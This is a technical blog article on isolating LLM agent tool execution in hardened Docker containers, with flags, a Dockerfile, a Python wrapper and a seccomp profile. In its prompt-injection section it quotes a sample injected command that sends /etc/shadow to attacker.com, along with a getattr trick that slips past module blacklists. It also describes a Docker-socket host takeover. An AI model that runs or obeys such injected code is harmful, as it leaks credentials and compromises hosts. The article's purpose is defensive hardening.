# Sandboxing LLM tools: Docker isolation in practice

[Skip to content](#lm-inhoud)Network/[NL](/en/sandboxing-van-llm-tools-docker-isolatie-in-de-praktijk)EN[Hubhub.llmnet.nlCompare models on task, language, cost and licence.](https://hub.llmnet.nl/en/)[Communitycommunity.llmnet.nlPrompt techniques, patterns and system prompts.](https://community.llmnet.nl/en/)[APIapi.llmnet.nlLLMs in production: rate limits, routing, structured output.](https://api.llmnet.nl/en/)[Consultancyconsultancy.llmnet.nlRolling out AI in an organisation, pilot to production.](https://consultancy.llmnet.nl/en/)[Newsnieuws.llmnet.nlAI developments, explained for the Netherlands.](https://nieuws.llmnet.nl/en/)[Benchmarkbenchmark.llmnet.nlMeasure AI quality yourself, on your own tasks.](https://benchmark.llmnet.nl/en/)[Careersvacatures.llmnet.nlAI roles, salaries and career paths in the Netherlands.](https://vacatures.llmnet.nl/en/)[Learnleren.llmnet.nlAI concepts in plain language, beginner to builder.](https://leren.llmnet.nl/en/)[Guidegids.llmnet.nlRun AI privately on your own Mac, PC, NAS or home server.](https://gids.llmnet.nl/en/)[Directorydirectory.llmnet.nlMapping the AI ecosystem: tools, models, companies.](https://directory.llmnet.nl/en/)[Radarradar.llmnet.nlSignals from X, research and communities for indie developers.](https://radar.llmnet.nl/en/)[Appsapps.llmnet.nlReviews of AI apps and open-source repos, with tips for builders.](https://apps.llmnet.nl/en/)[llmnet.nl — main site](https://llmnet.nl/en/)[](https://x.com/intent/post?url=https%3A%2F%2Fradar.llmnet.nl%2Fen%2Fsandboxing-van-llm-tools-docker-isolatie-in-de-praktijk&text=Sandboxing%20LLM%20tools%3A%20Docker%20isolation%20in%20practice)[](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Fradar.llmnet.nl%2Fen%2Fsandboxing-van-llm-tools-docker-isolatie-in-de-praktijk)[](https://www.reddit.com/submit?url=https%3A%2F%2Fradar.llmnet.nl%2Fen%2Fsandboxing-van-llm-tools-docker-isolatie-in-de-praktijk&title=Sandboxing%20LLM%20tools%3A%20Docker%20isolation%20in%20practice)[](#)[](https://x.com/intent/post?url=https%3A%2F%2Fradar.llmnet.nl%2Fen%2Fsandboxing-van-llm-tools-docker-isolatie-in-de-praktijk&text=Sandboxing%20LLM%20tools%3A%20Docker%20isolation%20in%20practice)[](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Fradar.llmnet.nl%2Fen%2Fsandboxing-van-llm-tools-docker-isolatie-in-de-praktijk)[](https://www.reddit.com/submit?url=https%3A%2F%2Fradar.llmnet.nl%2Fen%2Fsandboxing-van-llm-tools-docker-isolatie-in-de-praktijk&title=Sandboxing%20LLM%20tools%3A%20Docker%20isolation%20in%20practice)[](#)

 
# Sandboxing LLM tools: Docker isolation in practice

 By Ivo Donker — compiled with AI assistance (Claude & Gemini)

 When an autonomous language model calls tools to run Python scripts, test shell commands or process files, the attack surface shifts immediately from semantic prompt injection to physical system intrusion. A language model that generates and executes unvalidated code on the host machine poses a direct danger to the integrity of the underlying server infrastructure. Without strict runtime isolation, an indirect prompt injection through an external web page, PDF file or email can result in environment variables being read out, unwanted network scans across internal subnets or irreversible data corruption. In this article we look at how Docker can be structurally set up as a hardened sandbox layer between the agent orchestrator and the arbitrary code output of LLM tools.

 
## The danger triangle: indirect prompt injection, tool calling and privilege escalation

 The vulnerability in autonomous agents arises as soon as three factors come together: untrusted input data from outside, a model that decides autonomously which tools are called, and an execution environment with access to system resources. Models are trained to solve complex tasks by generating helper scripts and running them iteratively. If, while summarising a document, a model comes across hidden instructions such as import os; os.system('curl attacker.com/$(cat /etc/shadow | base64)'), the model can be tricked into actually executing this code as a legitimate tool call.

 In the signals overview of [lessons from recent agent security incidents](https://radar.llmnet.nl/en/agent-security-incidenten-juli-2026) it was already clear that traditional application filters on input text fail structurally as soon as attackers apply multi-step prompt obfuscation. Anyone wanting to understand which specific attack vectors have led to data loss in practice will find an analysis of concrete cases from production environments there. Relying on regex filters or blacklists of Python modules (such as banning import subprocess or import socket) is fundamentally unsafe: through dynamic methods such as getattr(__builtins__, '__import__')('s' + 'ubprocess') a model can easily circumvent these language restrictions. The only tenable line of defence is the assumption that the code the model generates is hostile at all times. That means the execution environment itself must be bounded at the infrastructure level in privileges, file system reach, network access and computing capacity.

 
## Container isolation vs. model inference: the architectural separation

 Within modern AI systems we must draw a strict distinction between the container in which the language model itself runs (the inference engine) and the container in which the agent tools are executed (the execution sandbox). The inference engine requires direct access to powerful hardware such as GPUs through the NVIDIA Container Toolkit, needs substantial RAM and VRAM allocations and maintains persistent model weights on fast NVMe storage.

 For a broader view of running models and containers safely, [the guide to LLMs in Docker containers](https://gids.llmnet.nl/en/llm-in-docker-draaien) offers a complete foundation on images and resource allocation. Read that article if you want to know how to configure heavy inference servers without GPU memory leaks. With sandboxing for tools, however, the emphasis lies radically elsewhere. A tool sandbox needs no GPU, must have no persistent storage, must be able to start up and be destroyed quickly, and must be categorically cut off from any network. Combining these two responsibilities in one container or on one shared runtime creates a serious security hole in which generated scripts can overwrite the model weights or API tokens themselves.

 
## The anatomy of a hardened Docker runtime configuration

 Docker offers standard isolation through Linux namespaces (PID, mount, net, IPC, UTS, user) and control groups (cgroups), but a standard docker run command is not designed to withstand hostile code. If a container runs as root with default capabilities, an attacker can exploit vulnerabilities in the file system or the Linux kernel to escape the container. To turn a Docker container into a safe evaluation environment, several security layers have to be enforced simultaneously.

 
 
 
 
 Security parameter | 
 Docker CLI flag | 
 Purpose and mitigation | 
 

 
 
 
 Close off the network | 
 --network none | 
 Blocks all TCP/UDP sockets. Prevents data exfiltration and scans of local networks. | 
 

 
 Immutable OS | 
 --read-only | 
 Fixes the root file system in read-only mode. Prevents malware installation. | 
 

 
 In-memory tmpfs | 
 --tmpfs /tmp:rw,nosuid,nodev,noexec,size=64m | 
 Offers limited write space in RAM without execution rights for binaries. | 
 

 
 Non-root user | 
 --user 1000:1000 | 
 Prevents processes from running with UID 0, which makes kernel escalations harder. | 
 

 
 Privilege restriction | 
 --security-opt no-new-privileges:true | 
 Blocks setuid/setgid binaries so processes can never acquire extra rights. | 
 

 
 Drop capabilities | 
 --cap-drop=ALL | 
 Removes all default Linux capabilities (such as CAP_CHOWN, CAP_NET_RAW, CAP_SYS_ADMIN). | 
 

 
 Resource limiting | 
 --memory=512m --cpus=1.0 --pids-limit=64 | 
 Prevents denial-of-service attacks through fork bombs, infinite loops and memory starvation. | 
 

 
 
 

 
## Concrete implementation: building an ephemeral Python sandbox

 Let us work through a complete implementation. We start by designing a minimal Docker image containing only the necessary runtime and computing libraries. We avoid installing compilers (such as gcc), shell utilities (such as curl, wget, netcat) or package managers in the final container layer.

 The Dockerfile below builds a minimal, safe base for Python data analysis:

FROM python:3.11-slim-bookworm

# Maak een strikt niet-geprivilegieerde gebruiker aan zonder login-shell
RUN groupadd -g 1000 sandboxgroup && \
 useradd -u 1000 -g sandboxgroup -s /sbin/nologin -d /home/sandboxuser -m sandboxuser

# Installeer alleen geverifieerde analysepakketten
RUN pip install --no-cache-dir numpy==1.26.4 pandas==2.2.2 scipy==1.13.1

# Verwijder pip en setuptools om runtime-pakketinstallaties te blokkeren
RUN pip uninstall -y pip setuptools

WORKDIR /home/sandboxuser
USER 1000:1000

 The agent orchestrator then builds a wrapper that passes the generated code through stdin to a disposable container. This means no temporary files have to be created on the host disk:

import subprocess
import json
import time

def execute_sandboxed_code(code_snippet: str, timeout_sec: float = 5.0) -> dict:
 start_time = time.perf_counter()
 
 cmd = [
 "docker", "run",
 "--rm",
 "-i",
 "--network", "none",
 "--read-only",
 "--tmpfs", "/tmp:rw,nosuid,nodev,size=64m",
 "--tmpfs", "/home/sandboxuser:rw,nosuid,nodev,size=32m",
 "--user", "1000:1000",
 "--security-opt", "no-new-privileges:true",
 "--cap-drop=ALL",
 "--memory", "512m",
 "--memory-swap", "512m",
 "--cpus", "1.0",
 "--pids-limit", "64",
 "llm-sandbox-python:latest",
 "python", "-u", "-"
 ]

 try:
 process = subprocess.run(
 cmd,
 input=code_snippet,
 capture_output=True,
 text=True,
 timeout=timeout_sec,
 check=False
 )
 duration = round(time.perf_counter() - start_time, 3)
 return {
 "stdout": process.stdout[:10000],
 "stderr": process.stderr[:5000],
 "exit_code": process.returncode,
 "timed_out": False,
 "execution_time_sec": duration
 }
 except subprocess.TimeoutExpired:
 return {
 "stdout": "",
 "stderr": f"Executielimiet van {timeout_sec} seconden overschreden.",
 "exit_code": -1,
 "timed_out": True,
 "execution_time_sec": timeout_sec
 }

 Three crucial details stand out in this script. First, --memory-swap 512m ensures that total virtual memory is bounded to the RAM limit, so the container cannot quietly allocate hundreds of megabytes of swap on the host disk. Second, --pids-limit 64 limits the number of simultaneous processes and threads, which renders fork bombs (such as while True: os.fork()) harmless immediately. Third, the output is truncated in Python (at 10,000 characters, for example) to prevent denial-of-context attacks in which a script writes gigabytes of data to stdout to flood the orchestrator's memory.

 
## Locking down system calls with seccomp and Linux capabilities

 Even with non-root users and cgroups, the attack surface of the Linux kernel remains considerable. By default the Linux kernel supports hundreds of system calls (syscalls). Many advanced container escapes use outdated or rarely used syscalls to trigger memory corruption in kernel modules.

 By specifying --cap-drop=ALL , Docker strips the process of all special privileges. As a result a script cannot change network interfaces, inspect raw network packets, force file attributes through chown or load kernel modules. To harden the sandbox further, we configure a bespoke seccomp profile (secure computing mode). A strict seccomp profile blocks dangerous syscalls such as ptrace (process inspection), process_vm_writev, bpf (Berkeley Packet Filter manipulation), io_uring_setup and sys_chroot.

 Below is a fragment of a seccomp configuration that denies all syscalls by default (SCMP_ACT_ERRNO) and allows only an explicit whitelist of safe computation and I/O calls:

{
 "defaultAction": "SCMP_ACT_ERRNO",
 "architectures": [
 "SCMP_ARCH_X86_64",
 "SCMP_ARCH_AARCH64"
 ],
 "syscalls": [
 {
 "names": [
 "read", "write", "openat", "close", "fstat", "lseek",
 "mmap", "mprotect", "munmap", "brk", "rt_sigaction",
 "rt_sigprocmask", "futex", "exit_group", "gettimeofday",
 "clock_gettime", "nanosleep", "getrandom"
 ],
 "action": "SCMP_ACT_ALLOW"
 }
 ]
}

 When we start the container with --security-opt seccomp=/etc/docker/sandbox-seccomp.json, every attempt by a Python script to open network sockets or scan process structures outside the sandbox is rejected at kernel level with an Operation not permitted error message.

 
## Network and data isolation: the unprivileged gateway pattern

 In many practical situations an agent has to be able both to compute data and to consult external sources, such as fetching documents through a REST API or querying a SQL database. A common design error is to connect the container that executes code to an internal network so that the script itself can make HTTP calls. This breaks the isolation: a malicious payload can then use the container to scan the internal network or query metadata endpoints (such as internal address ranges at cloud providers).

 In the radar dossier on [runtime security for agent systems](https://radar.llmnet.nl/en/agent-runtime-security-juli-2026) the concept of privileged gateways versus unprivileged evaluators is worked out. Consult that publication for a deeper look at process monitoring and audit logging at application level. The safe architecture consists of a two-step pattern:

 
 
 
 
 Component | 
 Network access | 
 Rights | 
 Responsibility | 
 

 
 
 
 Agent gateway (host) | 
 Outbound HTTPS | 
 Standard service rights | 
 Validates API tokens, fetches external data, applies sanitisation. | 
 

 
 Code sandbox (Docker) | 
 Strictly none (--network none) | 
 Non-root, read-only, cap-drop | 
 Receives only sanitised JSON/text through stdin and performs calculations. | 
 

 
 
 

 By separating data acquisition and code execution strictly, a model can perform calculations on sensitive input data without the code ever having the physical ability to leak that data to an external IP address.

 
## Execution models and latency: cold starts versus warm container pools

 The biggest practical trade-off in Docker sandboxing is the tension between start-up time and level of isolation. With an interactive agent that solves a task in several successive steps, the latency of every tool call counts directly towards the total response time for the end user. We distinguish three common architectural patterns, each with its own balance between security and computing speed:

 
 
 
 
 Architectural pattern | 
 Relative latency (order of magnitude) | 
 Level of isolation | 
 Memory use at rest | 
 Typical use | 
 

 
 
 
 Ephemeral container (started on demand) | 
 Hundreds of milliseconds (cold start) | 
 Maximum (clean container per execution) | 
 Zero (no resources occupied outside runtime) | 
 Asynchronous batch tasks, cron agents and heavy scripts | 
 

 
 Pre-warmed container pool | 
 Tens of milliseconds (fast switch) | 
 Maximum (destroyed immediately after each task) | 
 Limited (small pool of active workers on standby) | 
 Interactive chatbots and real-time agent loops | 
 

 
 Reused session container | 
 A few milliseconds (direct exec) | 
 Moderate (risk of state contamination between calls) | 
 Reserved per active user session | 
 Defined debug environments with a strict timeout | 
 

 
 
 

 With an ephemeral approach, a completely new container is started for every tool call through docker run --rm. This offers the highest degree of isolation because any memory remnants or temporary files are guaranteed to be erased afterwards. The drawback is the start-up overhead of the container engine, which can be noticeable in intensive multi-step loops.

 Anyone needing lower response times without compromising on isolation can opt for a pre-warmed pool. A background process continuously keeps a small number of containers ready in a dormant state with all isolation flags activated. As soon as the orchestrator submits a task, the code is sent through docker exec -i to a container standing by. Afterwards the orchestrator immediately forces a shutdown and asynchronously starts a replacement in the background. This considerably reduces perceived waiting time, while every code execution still takes place in a clean, isolated container.

 
## Securing the Docker daemon and socket exposure

 A crucial security aspect often overlooked when designing sandboxes is protection of the Docker socket (/var/run/docker.sock). If an orchestrator itself runs inside a container (in a container environment or CI/CD pipeline, for instance), the temptation arises to mount the host socket (-v /var/run/docker.sock:/var/run/docker.sock) so the orchestrator can create sibling containers.

 Mounting the Docker socket is equivalent to handing over full root access to the host machine. If the orchestrator is compromised through prompt injection, the attacker can use the Docker API to start a privileged container with -v /:/host and read or manipulate the host's entire file system.

 To prevent this, developers must apply two strict design rules:

 1. Run the Docker daemon in rootless mode: By running the Docker daemon under an unprivileged user account (rootless Docker through user namespaces), even a container escape gives no root rights on the host system.

 2. Use a TCP daemon proxy with endpoint whitelisting: If the orchestrator has to control containers, place a lightweight reverse proxy in front of the Docker socket. This proxy allows only safe API endpoints (such as creating, starting and querying container statuses), and blocks dangerous operations such as volume mounts to the host, host networking or privileged flags.

 
## Integration with the Model Context Protocol (MCP)

 With the rapid adoption of standardised interfaces for tools, as set out in the overview of [agents and Model Context Protocol innovations](https://radar.llmnet.nl/en/agent-tooling-augustus-2026), Docker sandboxing is increasingly packaged as a standalone MCP server. Visit that overview to see how tool registration and dynamic discovery are developing within modern client architectures.

 Within an MCP architecture, the sandbox server registers itself with a JSON-RPC schema that makes tools such as execute_python, run_sqlite_query or render_graphviz available to the model. The client needs no knowledge of Docker commands or cgroups; the MCP server acts as the enforcer of the security contract. As soon as an invalid action occurs (such as exceeding memory limits or a timeout), the MCP server translates this into a structured error message that helps the model correct itself without endangering host stability.

 
## The hard limits of Docker: when to move to microVMs?

 Although a hardened Docker environment with seccomp, --read-only, --cap-drop=ALL and network isolation offers protection against virtually all regular script attacks, one fundamental architectural property remains: containers share the same underlying Linux kernel with the host.

 If an attacker has a zero-day vulnerability in kernel memory (in cgroups, memory management or privilege checks, for example), code execution inside the container can in theory lead to a kernel crash or privilege escalation on the host. In environments where multi-tenant code from unknown external users is processed, container isolation alone is not always sufficient.

 
 
 
 
 Property | 
 Hardened Docker container | 
 gVisor (user-space kernel) | 
 MicroVM (e.g. Firecracker) | 
 

 
 
 
 Kernel isolation | 
 Shared host kernel | 
 Virtual kernel in user space (Sentry) | 
 Fully isolated guest kernel through KVM | 
 

 
 Relative start-up latency | 
 Fast (short container lifecycle) | 
 Fast (comparable to containers) | 
 Very fast (lightweight VM start-up) | 
 

 
 Memory overhead per instance | 
 Low (a few megabytes) | 
 Moderate (user-space kernel allocation) | 
 Low to moderate (depending on guest OS) | 
 

 
 Syscall compatibility | 
 100% native Linux | 
 Large proportion of common calls supported | 
 100% native Linux | 
 

 
 Management complexity | 
 Low (standard container infrastructure) | 
 Medium (adding the runsc runtime) | 
 High (requires hypervisor support and KVM rights) | 
 

 
 
 

 For local workflows, home lab environments, internal office automation and SME solutions, a strictly configured Docker sandbox offers the optimal balance between low implementation cost and excellent security. Only when code from untrusted third parties is run in a public multi-tenant SaaS architecture does the move to microVM technologies become necessary.

 
## Production checklist

 Before an agent system with code execution is taken into production, the following technical checks must have been passed successfully:

 1. Network test: Check that network calls (such as DNS resolution or socket connections) fail immediately with an error message inside the container.

 2. Write test: Check that write attempts to system directories such as /etc or /usr produce a Read-only file system error.

 3. Resource exhaustion: Validate that infinite memory allocations are cleanly aborted by the Linux OOM killer without the host orchestrator becoming unstable.

 4. Cap audit: Check with capsh --print inside the container that the effective and permitted capability sets are empty.

 By embedding these measures structurally in the container configuration, we transform LLM tooling from a potential security risk into a controlled, production-worthy automation layer.
